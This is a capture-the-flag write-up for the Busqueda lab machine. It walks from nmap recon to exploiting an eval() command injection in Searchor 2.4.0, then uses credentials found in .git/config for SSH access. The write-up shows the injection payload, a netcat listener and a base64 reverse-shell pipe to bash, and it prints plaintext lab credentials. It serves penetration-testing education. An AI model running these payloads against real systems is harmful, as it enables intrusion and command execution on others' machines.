Busqueda
A Flask app exposes its Searchor 2.4.0 version in the footer; the library feeds user input straight into eval(), so a crafted search query yields command execution as svc, and plaintext credentials in the app's .git/config give a stable SSH shell and the user flag.
Overview
Busqueda is an Easy-difficulty Linux box built around a single web application — “Searcher”, a Flask front-end to the open-source Searchor Python library. The footer leaks Searchor 2.4.0, a version whose search() routine passes user input directly into eval(). That gives unauthenticated command execution as the svc user. From there, credentials baked into the deployed app’s .git/config are reused for SSH, providing a stable shell and the user flag. This post covers recon through user.txt.
Machine Matrix
Realistic web box: a version-banner Searchor eval() command injection foothold and reused .git/config SSH creds, with light custom payload crafting and modest enumeration.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH 8.9p1 | Ubuntu 22.04 |
| 80/tcp | Apache httpd 2.4.52 | redirects to searcher.htb |
1
2
nmap -p- --min-rate=1000 -T4 10.10.11.208
nmap -sC -sV -p22,80 10.10.11.208
Port 80 redirects to the vhost searcher.htb, so add it to /etc/hosts:
1
echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts
Enumeration
Browsing to http://searcher.htb shows the Searcher app — a search-engine aggregator. Pick an engine, type a query, hit Search, and it returns the corresponding search URL (e.g. https://www.google.com/search?q=hackthebox).
The interesting detail is the footer: Powered by Flask and Searchor 2.4.0. Following the Searchor GitHub link, the changelog shows version 2.4.2 patched a “priority vulnerability in the Searchor CLI” — a command injection caused by an unsanitized eval(). The running version (2.4.0) predates the fix.
Pulling the source confirms the flaw. In main.py:
1
url = eval(f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})")
User input (engine, query) is interpolated into a string and handed to eval(). The engine value is validated against a fixed list, but query is not — making it the injection point.
Foothold
The query lands inside single quotes in the f-string. Closing the string and the .search( call with '), concatenating the output of a second expression with + str(...), and commenting out the trailing arguments with # produces a valid expression eval() will execute. Test the payload against the search endpoint:
1
2
3
curl -s http://searcher.htb/search -X POST \
--data-urlencode "engine=Google" \
--data-urlencode "query=') + str(__import__('os').system('id')) #"
The response contains uid=1000(svc) gid=1000(svc) groups=1000(svc) — code execution as svc. Turn it into a shell. Start a listener:
1
nc -nvlp 1337
Then send a base64-wrapped bash reverse shell in the same query parameter (a generator like revshells.com avoids quoting headaches):
1
') + str(__import__('os').system('echo <base64-revshell> | base64 -d | bash')) #
A shell as svc lands on the listener. The application lives in /var/www/app, and its git metadata is the next clue:
1
cat /var/www/app/.git/config
1
2
[remote "origin"]
url = http://cody:[email protected]/cody/Searcher_site.git
The remote URL embeds plaintext credentials cody:jh1usoih2bkjaspwe92 and reveals a gitea.searcher.htb subdomain. That password is reused for the svc system account, so it upgrades the unstable web shell to a clean SSH session:
1
2
ssh [email protected]
# password: jh1usoih2bkjaspwe92
User flag
1
cat /home/svc/user.txt
1
[redacted]
A version banner pointed straight at an eval() command-injection CVE, and a deployed .git/config handed over reusable credentials. Privilege escalation — a sudo script that resolves ./full-checkup.sh by a relative path — is left as an exercise; this post stops at user.